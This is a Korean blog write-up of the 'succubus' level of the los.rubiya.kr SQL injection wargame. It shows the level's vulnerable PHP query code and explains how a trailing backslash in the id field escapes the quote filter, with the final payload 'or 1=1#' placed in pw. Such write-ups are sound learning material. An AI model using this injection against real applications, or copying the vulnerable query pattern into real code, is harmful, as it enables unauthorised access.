[WARGAME] los.rubiya.kr - succubus

2022. 8. 14. 14:56정보보안/CTFLOG

반응형
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

소스가 주어진다.

 

하지만 preg_match에서 싱글쿼터를 제한 하고 있다.

 

따라서 이를 우회하는 방법을 찾아내야한다.

 

 

바로 \ 이다 

\를 사용하면 select id from prob_succubus where id='haha\'and pw='hello' 

빨간 부분을 문자열로 처리해주기 때문에,

id 부분의 싱글쿼터에서 나오게 되고 따라서 pw에 쿼리를 적으면 우회가 가능하다

 

 

select id from prob_succubus where id='admin\' and pw='or 1=1#'
반응형